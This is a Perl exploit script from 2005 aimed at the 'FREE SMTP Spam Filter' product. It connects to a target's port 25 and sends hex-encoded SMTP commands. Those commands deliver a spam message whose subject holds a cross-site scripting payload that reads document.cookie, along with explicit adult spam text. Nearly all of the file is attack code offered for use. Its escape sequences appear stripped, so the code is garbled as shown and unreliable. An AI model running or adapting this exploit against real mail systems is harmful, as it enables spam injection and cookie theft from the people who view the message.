#!usr/bin/perl
#
#    FREE SMTP Spam Filter Exploit
# ------------------------------------
#  Infam0us Gr0up - Securiti Research
#
# Info: infamous.2hell.com
# Vendor URL: http://www.softstack.com/
# 

use IO::Socket;
use Socket;

print("n   FREE SMTP Spam Filter Exploitn");
print(" ---------------------------------nn");

# Changes to own feed 
$helo = "mail.test"; # HELO
$mfrom = "[support@vuln.test]"; # MAIL FROM
$rcpto = "[root@localhost]"; # RCPT TO
$date = "11 Feb 2099 12:07:10"; # Date
$from = "Micro SEX's"; # From mailer
$subject = "Check the new version.. ???n".
"[b]VICKY VETTE[/b][i]is HOT Editon.Check it OUT!!. Free Nude Shop. Sex,video,picture,toys and XXX Chat Adults live!!![/i]".
"[br][a href=http://127.0.0.1 onMouseOver=alert(document.cookie);]Click Here[/a]"; # subject spammmer

if($#ARGV < 0 | $#ARGV > 1) { 
die "usage: perl $0 [IP/host] nExam: perl $0 127.0.0.1 n" };

$adr = $ARGV[0];
$prt = "25";

# Don't changes this one
$act1 = "x48x45x4cx4f $helo";
$act2 = "x4dx41x49x4c x46x52x4fx4dx3a$mfrom";
$act3 = "x52x43x50x54 fx54x4fx3a$rcpto";
$act4 = "x44x41x54x41";
$act5 = "x44x61x74x65x3a $date";

$sub = 
"x46x72x6fx6dx3a $from".
"x53x75x62x6ax65x63x74x3a $subjectx2e".
"x51x55x49x54";

print "[+] Connect to $adr..n";
$remote = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$adr,
PeerPort=>$prt, Reuse=>1) or die "[-] Error: can't connect to $adr:$prtn";
print "[+] Connected!n";
$remote->autoflush(1);
print "[*] Send HELO..";
print $remote "$act1" or die "n[-] Error: can't send xploit coden";
sleep(1);
print "[OK]n";
print "[*] Send MAIL FROM..";
print $remote "$act2" or die "n[-] Error: can't send xploit coden";
sleep(1);
print "[OK]n";
print "[*] Send RCPT TO..";
print $remote "$act3" or die "n[-] Error: can't send xploit coden";
sleep(1);
print "[OK]n";
print "[*] Send DATA..";
print $remote "$act4" or die "n[-] Error: can't send xploit coden";
sleep(1);
print "[OK]n";
print "[*] Send DATE..";
print $remote "$act5" or die "n[-] Error: can't send xploit coden";
sleep(1);
print "[OK]n";
print "[*] Send Sub Mail..";
print $remote "$sub" or die "n[-] Error: can't send xploit coden";
print "[OK]n";
print "[*] QUIT..n";
print "[+] MAIL SPAMWNED!nn";
close $remote;
print "press any key to exit..n";
$bla= [STDIN];

# www.Syue.com [2005-09-02]